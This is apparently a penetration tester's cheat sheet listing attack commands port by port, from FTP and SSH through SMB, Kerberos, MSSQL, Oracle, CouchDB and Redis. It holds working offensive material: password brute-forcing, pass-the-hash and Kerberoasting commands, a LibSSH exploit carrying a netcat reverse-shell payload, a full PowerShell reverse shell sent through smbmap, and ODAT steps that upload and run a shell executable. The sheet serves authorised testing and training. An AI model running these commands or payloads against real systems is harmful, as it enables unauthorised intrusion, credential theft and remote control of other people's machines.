Open Ports Security Testing

Ports

General

AIO Penetration Testing Methodology - 0DAYsecurity.com

Port 21 - FTP

nmap --script ftp-* -p 21 10.11.1.111

Port 22 - SSH

  • If you have usernames test login with username:username

  • Vulnerable Versions to user enum: <7.7

# Enum SSH
# Get version
nmap 10.11.1.1 -p22 -sV
# Get banner
nc 10.11.1.1 22
# Get login banner
ssh root@10.11.11.1
# Get algorythms supporteed
nmap -p22 10.11.1.1 --script ssh2-enum-algos
# Check weak keys
nmap-p22 10.2.1.1 --script ssh-hostkey --script-args ssh_hostkey=full
# Check auth methods
nmap -p22 10.11.1.1 --script ssh-auth-methods --script-args="ssh.user=admin"

# User can ask to execute a command right after authentication before it’s default command or shell is executed
$ ssh -v user@10.10.1.111 id
...
Password:
debug1: Authentication succeeded (keyboard-interactive).
Authenticated to 10.10.1.111 ([10.10.1.1114]:22).
debug1: channel 0: new [client-session]
debug1: Requesting no-more-sessions@openssh.com
debug1: Entering interactive session.
debug1: pledge: network
debug1: client_input_global_request: rtype hostkeys-00@openssh.com want_reply 0
debug1: Sending command: id
debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
debug1: client_input_channel_req: channel 0 rtype eow@openssh.com reply 0
uid=1000(user) gid=100(users) groups=100(users)
debug1: channel 0: free: client-session, nchannels 1
Transferred: sent 2412, received 2480 bytes, in 0.1 seconds
Bytes per second: sent 43133.4, received 44349.5
debug1: Exit status 0

# Check Auth Methods:
$ ssh -v 10.10.1.111
OpenSSH_8.1p1, OpenSSL 1.1.1d  10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive

# Force Auth Method:
$ ssh -v 10.10.1.111 -o PreferredAuthentications=password
...
debug1: Next authentication method: password

# BruteForce:
patator ssh_login host=10.11.1.111 port=22 user=root 0=/usr/share/metasploit-framework/data/wordlists/unix_passwords.txt password=FILE0 -x ignore:mesg='Authentication failed.'
hydra -l user -P /usr/share/wordlists/password/rockyou.txt -e s ssh://10.10.1.111
medusa -h 10.10.1.111 -u user -P /usr/share/wordlists/password/rockyou.txt -e s -M ssh
ncrack --user user -P /usr/share/wordlists/password/rockyou.txt ssh://10.10.1.111

# LibSSH Before 0.7.6 and 0.8.4 - LibSSH 0.7.6 / 0.8.4 - Unauthorized Access
# Id
python /usr/share/exploitdb/exploits/linux/remote/46307.py 10.10.1.111 22 id
# Reverse
python /usr/share/exploitdb/exploits/linux/remote/46307.py 10.10.1.111 22 "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.1.111 80 >/tmp/f"

# SSH FUZZ
# <https://dl.packetstormsecurity.net/fuzzer/sshfuzz.txt>

# cpan Net::SSH2
./sshfuzz.pl -H 10.10.1.111 -P 22 -u user -p user

use auxiliary/fuzzers/ssh/ssh_version_2

# SSH-AUDIT
# <https://github.com/arthepsy/ssh-audit>

# Enum users < 7.7:
# <https://www.exploit-db.com/exploits/45233>
<https://github.com/CaioCGH/EP4-redes/blob/master/attacker/sshUsernameEnumExploit.py>
python ssh_user_enum.py --port 2223 --userList /root/Downloads/users.txt IP 2>/dev/null | grep "is a"

# SSH Leaks:
<https://shhgit.darkport.co.uk/>

# SSH bruteforce
# <https://github.com/kitabisa/ssb>

Port 23 - Telnet

# Get banner
telnet 10.11.1.110
# Bruteforce password
patator telnet_login host=10.11.1.110 inputs='FILE0\\\\nFILE1' 0=/root/Desktop/user.txt 1=/root/Desktop/pass.txt  persistent=0 prompt_re='Username: | Password:'

Port 25 - SMTP

nc -nvv 10.11.1.111 25
HELO foo

telnet 10.11.1.111 25
VRFY root

nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 10.11.1.111
smtp-user-enum -M VRFY -U /root/sectools/SecLists/Usernames/Names/names.txt -t 10.11.1.111

# SMTP relay
msfconsole
use auxiliary/scanner/smtp/smtp_relay
set RHOSTS <IP or File>
set MAILFROM <PoC email address>
set MAILTO <your email address>
run

# Send email unauth:

MAIL <FROM:admin@admin.com>
RCPT <TO:DestinationEmail@DestinationDomain.com>
DATA
test

.

Receive:
250 OK

Port 43 - Whois

whois -h 10.10.1.111 -p 43 "domain.com"
echo "domain.com" | nc -vn 10.10.1.111 43
whois -h 10.10.1.111 -p 43 "a') or 1=1#"

Port 53 - DNS

# Transfer zone

dig AXFR domain.com @10.10.10.10
# dig +multi AXFR @ns1.insecuredns.com insecuredns.com
dnsrecon -t axfr -d domain
fierce -dns domain.com

Port 69 - UDP - TFTP

  • Vulns tftp in server 1.3, 1.4, 1.9, 2.1, and a few more.

  • Same checks as FTP Port 21.

nmap -p69 --script=tftp-enum.nse 10.11.1.111

Port 79 - Finger

nc -vn 10.11.1.111 79
echo "root" | nc -vn 10.11.1.111 79

# User enumeration
finger @10.11.1.111       #List users
finger admin@10.11.1.111  #Get info of user
finger user@10.11.1.111   #Get info of user

finger "|/bin/id@example.com"
finger "|/bin/ls -a /@example.com"

Port 88 - Kerberos

Check Kerberos dedicated section

nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='DOMAIN.LOCAL'" IP
use auxiliary/gather/kerberos_enumusers # MSF

# Check for Kerberoasting:
GetNPUsers.py DOMAIN-Target/ -usersfile user.txt -dc-ip <IP> -format hashcat/john

# GetUserSPNs
ASREPRoast:
impacket-GetUserSPNs <domain_name>/<domain_user>:<domain_user_password> -request -format <AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file>
impacket-GetUserSPNs <domain_name>/ -usersfile <users_file> -format <AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file>

# Kerberoasting:
impacket-GetUserSPNs <domain_name>/<domain_user>:<domain_user_password> -outputfile <output_TGSs_file>

# Overpass The Hash/Pass The Key (PTK):
python3 getTGT.py <domain_name>/<user_name> -hashes [lm_hash]:<ntlm_hash>
python3 getTGT.py <domain_name>/<user_name> -aesKey <aes_key>
python3 getTGT.py <domain_name>/<user_name>:[password]

# Using TGT key to excute remote commands from the following impacket scripts:

python3 psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python3 smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python3 wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass

# <https://www.tarlogic.com/blog/como-funciona-kerberos/>
# <https://www.tarlogic.com/blog/como-atacar-kerberos/>

python kerbrute.py -dc-ip IP -users /root/htb/kb_users.txt -passwords /root/pass_common_plus.txt -threads 20 -domain DOMAIN -outputfile kb_extracted_passwords.txt

# <https://blog.stealthbits.com/extracting-service-account-passwords-with-kerberoasting/>
# <https://github.com/GhostPack/Rubeus>
# <https://github.com/fireeye/SSSDKCMExtractor>
# <https://gitlab.com/Zer1t0/cerbero>

Port 110 - Pop3

telnet 10.11.1.111
USER pelle@10.11.1.111
PASS admin

# or:

USER pelle
PASS admin

# List all emails
list

# Retrieve email number 5, for example
retr 9

Port 111 - Rpcbind

rpcinfo -p 10.11.1.111
rpcclient -U "" 10.11.1.111
    srvinfo
    enumdomusers
    getdompwinfo
    querydominfo
    netshareenum
    netshareenumall

Port 135 - MSRPC

Some versions are vulnerable.

nmap 10.11.1.111 --script=msrpc-enum
msf > use exploit/windows/dcerpc/ms03_026_dcom

# Endpoint Mapper Service Discovery
use auxiliary/scanner/dcerpc/endpoint_mapper

#Hidden DCERPC Service Discovery
use auxiliary/scanner/dcerpc/hidden

# Remote Management Interface Discovery
use auxiliary/scanner/dcerpc/management

# DCERPC TCP Service Auditor
use auxiliary/scanner/dcerpc/tcp_dcerpc_auditor

impacket-rpcdump

# Enum network interface
# <https://github.com/mubix/IOXIDResolver>

Port 139/445 - SMB

# Enum hostname
enum4linux -n 10.11.1.111
nmblookup -A 10.11.1.111
nmap --script=smb-enum* --script-args=unsafe=1 -T5 10.11.1.111

# Get Version
smbver.sh 10.11.1.111
Msfconsole;use scanner/smb/smb_version
ngrep -i -d tap0 's.?a.?m.?b.?a.*[[:digit:]]'
smbclient -L \\\\\\\\\\\\\\\\10.11.1.111

# Get Shares
smbmap -H  10.11.1.111 -R
echo exit | smbclient -L \\\\\\\\\\\\\\\\10.11.1.111
smbclient \\\\\\\\\\\\\\\\10.11.1.111\\\\\\\\
smbclient -L //10.11.1.111 -N
nmap --script smb-enum-shares -p139,445 -T4 -Pn 10.11.1.111
smbclient -L \\\\\\\\\\\\\\\\10.11.1.111\\\\\\\\
# If got error "protocol negotiation failed: NT_STATUS_CONNECTION_DISCONNECTED"
smbclient -L //10.11.1.111/ --option='client min protocol=NT1'

# Check null sessions
smbmap -H 10.11.1.111
rpcclient -U "" -N 10.11.1.111
smbclient //10.11.1.111/IPC$ -N

# Exploit null sessions
enum -s 10.11.1.111
enum -U 10.11.1.111
enum -P 10.11.1.111
enum4linux -a 10.11.1.111
#<https://github.com/cddmp/enum4linux-ng/>
enum4linux-ng.py 10.11.1.111 -A -C
/usr/share/doc/python3-impacket/examples/samrdump.py 10.11.1.111

# Connect to username shares
smbclient //10.11.1.111/share -U username

# Connect to share anonymously
smbclient \\\\\\\\\\\\\\\\10.11.1.111\\\\\\\\
smbclient //10.11.1.111/
smbclient //10.11.1.111/
smbclient //10.11.1.111/<""share name"">
rpcclient -U " " 10.11.1.111
rpcclient -U " " -N 10.11.1.111

# Check vulns
nmap --script smb-vuln* -p139,445 -T4 -Pn 10.11.1.111

# Multi exploits
msfconsole; use exploit/multi/samba/usermap_script; set lhost 192.168.0.X; set rhost 10.11.1.111; run

# Bruteforce login
medusa -h 10.11.1.111 -u userhere -P /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt -M smbnt
nmap -p445 --script smb-brute --script-args userdb=userfilehere,passdb=/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt 10.11.1.111  -vvvv
nmap –script smb-brute 10.11.1.111

# nmap smb enum & vuln
nmap --script smb-enum-*,smb-vuln-*,smb-ls.nse,smb-mbenum.nse,smb-os-discovery.nse,smb-print-text.nse,smb-psexec.nse,smb-security-mode.nse,smb-server-stats.nse,smb-system-info.nse,smb-protocols -p 139,445 10.11.1.111
nmap --script smb-enum-domains.nse,smb-enum-groups.nse,smb-enum-processes.nse,smb-enum-sessions.nse,smb-enum-shares.nse,smb-enum-users.nse,smb-ls.nse,smb-mbenum.nse,smb-os-discovery.nse,smb-print-text.nse,smb-psexec.nse,smb-security-mode.nse,smb-server-stats.nse,smb-system-info.nse,smb-vuln-conficker.nse,smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-regsvc-dos.nse -p 139,445 10.11.1.111

# Mount smb volume linux
mount -t cifs -o username=user,password=password //x.x.x.x/share /mnt/share

# rpcclient commands
rpcclient -U "" 10.11.1.111
    srvinfo
    enumdomusers
    getdompwinfo
    querydominfo
    netshareenum
    netshareenumall

# Run cmd over smb from linux
winexe -U username //10.11.1.111 "cmd.exe" --system

# smbmap
smbmap.py -H 10.11.1.111 -u administrator -p asdf1234 #Enum
smbmap.py -u username -p 'P@$$w0rd1234!' -d DOMAINNAME -x 'net group "Domain Admins" /domain' -H 10.11.1.111 #RCE
smbmap.py -H 10.11.1.111 -u username -p 'P@$$w0rd1234!' -L # Drive Listing
smbmap.py -u username -p 'P@$$w0rd1234!' -d ABC -H 10.11.1.111 -x 'powershell -command "function ReverseShellClean {if ($c.Connected -eq $true) {$c.Close()}; if ($p.ExitCode -ne $null) {$p.Close()}; exit; };$a=""""192.168.0.X""""; $port=""""4445"""";$c=New-Object system.net.sockets.tcpclient;$c.connect($a,$port) ;$s=$c.GetStream();$nb=New-Object System.Byte[] $c.ReceiveBufferSize  ;$p=New-Object System.Diagnostics.Process  ;$p.StartInfo.FileName=""""cmd.exe""""  ;$p.StartInfo.RedirectStandardInput=1  ;$p.StartInfo.RedirectStandardOutput=1;$p.StartInfo.UseShellExecute=0  ;$p.Start()  ;$is=$p.StandardInput  ;$os=$p.StandardOutput  ;Start-Sleep 1  ;$e=new-object System.Text.AsciiEncoding  ;while($os.Peek() -ne -1){$out += $e.GetString($os.Read())} $s.Write($e.GetBytes($out),0,$out.Length)  ;$out=$null;$done=$false;while (-not $done) {if ($c.Connected -ne $true) {cleanup} $pos=0;$i=1; while (($i -gt 0) -and ($pos -lt $nb.Length)) { $read=$s.Read($nb,$pos,$nb.Length - $pos); $pos+=$read;if ($pos -and ($nb[0..$($pos-1)] -contains 10)) {break}}  if ($pos -gt 0){ $string=$e.GetString($nb,0,$pos); $is.write($string); start-sleep 1; if ($p.ExitCode -ne $null) {ReverseShellClean} else {  $out=$e.GetString($os.Read());while($os.Peek() -ne -1){ $out += $e.GetString($os.Read());if ($out -eq $string) {$out="""" """"}}  $s.Write($e.GetBytes($out),0,$out.length); $out=$null; $string=$null}} else {ReverseShellClean}};"' # Reverse Shell

# Check
\\\\Policies\\\\{REG}\\\\MACHINE\\\\Preferences\\\\Groups\\\\Groups.xml look for user&pass "gpp-decrypt "

# CrackMapExec
crackmapexec smb 10.55.100.0/23 -u LA-ITAdmin -H 573f6308519b3df23d9ae2137f549b15 --local
crackmapexec smb 10.55.100.0/23 -u LA-ITAdmin -H 573f6308519b3df23d9ae2137f549b15 --local --lsa

# Impacket
python3 samdump.py SMB 172.21.0.0

# Check for systems with SMB Signing not enabled
python3 RunFinger.py -i 172.21.0.0/24

Port 161/162 UDP - SNMP

nmap -vv -sV -sU -Pn -p 161,162 --script=snmp-netstat,snmp-processes 10.11.1.111
nmap 10.11.1.111 -Pn -sU -p 161 --script=snmp-brute,snmp-hh3c-logins,snmp-info,snmp-interfaces,snmp-ios-config,snmp-netstat,snmp-processes,snmp-sysdescr,snmp-win32-services,snmp-win32-shares,snmp-win32-software,snmp-win32-users
snmp-check 10.11.1.111 -c public|private|community
snmpwalk -c public -v1 ipaddress 1
snmpwalk -c private -v1 ipaddress 1
snmpwalk -c manager -v1 ipaddress 1
onesixtyone -c /usr/share/doc/onesixtyone/dict.txt 172.21.0.X

# Impacket
python3 samdump.py SNMP 172.21.0.0

# MSF aux modules
 auxiliary/scanner/misc/oki_scanner
 auxiliary/scanner/snmp/aix_version
 auxiliary/scanner/snmp/arris_dg950
 auxiliary/scanner/snmp/brocade_enumhash
 auxiliary/scanner/snmp/cisco_config_tftp
 auxiliary/scanner/snmp/cisco_upload_file
 auxiliary/scanner/snmp/cnpilot_r_snmp_loot
 auxiliary/scanner/snmp/epmp1000_snmp_loot
 auxiliary/scanner/snmp/netopia_enum
 auxiliary/scanner/snmp/sbg6580_enum
 auxiliary/scanner/snmp/snmp_enum
 auxiliary/scanner/snmp/snmp_enum_hp_laserjet
 auxiliary/scanner/snmp/snmp_enumshares
 auxiliary/scanner/snmp/snmp_enumusers
 auxiliary/scanner/snmp/snmp_login

Port 389,636 - LDAP

Check AD section and this LDAP guide

jxplorer
ldapsearch -h 10.11.1.111 -p 389 -x -b "dc=mywebsite,dc=com"
python3 windapsearch.py --dc-ip 10.10.10.182 --users --full > windapsearch_users.txt
cat windapsearch_users.txt | grep sAMAccountName | cut -d " " -f 2 > users.txt
# Check # <https://github.com/ropnop/go-windapsearch>

Port 443 - HTTPS

Read the actual SSL CERT to:

  • find out potential correct vhost to GET

  • is the clock skewed

  • any names that could be usernames for bruteforce/guessing.

./testssl.sh -e -E -f -p  -S -P -c -H -U TARGET-HOST > OUTPUT-FILE.html
# Check for mod_ssl,OpenSSL version Openfuck

Port 500 - ISAKMP IKE

ike-scan 10.11.1.111

Port 513 - Rlogin

apt install rsh-client
rlogin -l root 10.11.1.111

Port 541 - FortiNet SSLVPN

Fortinet Ports Guide

SSL VPN Leak

Port 1433 - MSSQL

nmap -p 1433 -sU --script=ms-sql-info.nse 10.11.1.111
use auxiliary/scanner/mssql/mssql_ping
use auxiliary/scanner/mssql/mssql_login
use exploit/windows/mssql/mssql_payload
sqsh -S 10.11.1.111 -U sa
    xp_cmdshell 'date'
      go

EXEC sp_execute_external_script @language = N'Python', @script = N'import os;os.system("whoami")'

<https://blog.netspi.com/hacking-sql-server-procedures-part-4-enumerating-domain-accounts/>

Port 1521 - Oracle

oscanner -s 10.11.1.111 -P 1521
tnscmd10g version -h 10.11.1.111
tnscmd10g status -h 10.11.1.111
nmap -p 1521 -A 10.11.1.111
nmap -p 1521 --script=oracle-tns-version,oracle-sid-brute,oracle-brute
MSF: good modules under auxiliary/admin/oracle and scanner/oracle

# <https://github.com/quentinhardy/odat>
./odat-libc2.5-i686 all -s 10.11.1.111 -p 1521
./odat-libc2.5-i686 sidguesser -s 10.11.1.111 -p 1521
./odat-libc2.5-i686 passwordguesser -s 10.11.1.111 -p 1521 -d XE

# Upload reverse shell with ODAT:
./odat-libc2.5-i686 utlfile -s 10.11.1.111 -p 1521 -U scott -P tiger -d XE --sysdba --putFile c:/ shell.exe /root/shell.exe

# and run it:
./odat-libc2.5-i686 externaltable -s 10.11.1.111 -p 1521 -U scott -P tiger -d XE --sysdba --exec c:/ shell.exe

Port 2000 - Cisco sccp

# cisco-audit-tool
CAT -h ip -p 2000 -w /usr/share/wordlists/rockyou.txt

# cisco-smart-install
<https://github.com/Sab0tag3d/SIET/>
sudo python siet.py -g -i 192.168.0.1

Port 2049 - NFS

nmap -p 111,2049 --script nfs-ls,nfs-showmount

showmount -e 10.11.1.111

# If you find anything you can mount it like this:

mount 10.11.1.111:/ /tmp/NFS –o nolock
mount -t nfs 10.11.1.111:/ /tmp/NFS –o nolock

Port 2100 - Oracle XML DB

Default passwords:

https://docs.oracle.com/cd/B10501\\_01/win.920/a95490/username.htm

Port 3306 - MySQL

nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse 10.11.1.111 -p 3306

mysql --host=10.11.1.111 -u root -p

# MYSQL UDF 4.x/5.0
<https://www.adampalmer.me/iodigitalsec/2013/08/13/mysql-root-to-system-root-with-udf-for-windows-and-linux/>

Port 3389 - RDP

nmap -p 3389 --script=rdp-vuln-ms12-020.nse
rdesktop -u username -p password -g 85% -r disk:share=/root/ 10.11.1.111
rdesktop -u guest -p guest 10.11.1.111 -g 94%
ncrack -vv --user Administrator -P /root/oscp/passwords.txt rdp://10.11.1.111
python crowbar.py -b rdp -s 10.11.1.111/32 -u admin -C ../rockyou.txt -v

Port 5432 - PostgreSQL

psql -h 10.10.1.111 -U postgres -W

# Default creds
postgres : postgres
postgres : password
postgres : admin
admin : admin
admin : password

pg_dump --host=10.10.1.111 --username=postgres --password --dbname=template1 --table='users' -f output_pgdump

Port 5900 - VNC

nmap --script=vnc-info,vnc-brute,vnc-title -p 5900 10.11.1.111

Port 5984 - CouchDB

curl <http://example.com:5984/>
curl -X GET <http://IP:5984/_all_dbs>
curl -X GET <http://user:password@IP:5984/_all_dbs>

# CVE-2017-12635 RCE

# Create user
curl -X PUT ‘<http://localhost:5984/_users/org.couchdb.user:chenny>' — data-binary ‘{ “type”: “user”, “name”: “chenny”, “roles”: [“_admin”], “roles”: [], “password”: “password” }’

# Dump database
curl <http://127.0.0.1:5984/passwords/_all_docs?include_docs=true> -u chenny:-Xpassword <ds/_all_docs?include_docs=true -u chenny:-Xpassword

# Dump passwords
curl -X GET <http://user:passwords@localhost:5984/passwords>

Port 5985 - WinRM

# <https://github.com/Hackplayers/evil-winrm>
gem install evil-winrm
evil-winrm -i 10.11.1.111 -u Administrator -p 'password1'
evil-winrm -i 10.11.1.111 -u Administrator -H 'hash-pass' -s /scripts/folder

Port 6379 - Redis

# <https://github.com/Avinash-acid/Redis-Server-Exploit>
python redis.py 10.10.10.160 redis

Port 8172 - MsDeploy

# Microsoft IIS Deploy port
IP:8172/msdeploy.axd

Port 5601/9200

ELK

Port 27017-19/27080/28017 - MongoDB

MongoDB

Unknown ports

  • amap -d 10.11.1.111 8000

  • netcat: makes connections to ports. Can echo strings or give shells: nc -nv 10.11.1.111 110

  • sfuzz: can connect to ports, udp or tcp, refrain from closing a connection, using basic HTTP configurations

RCE ports

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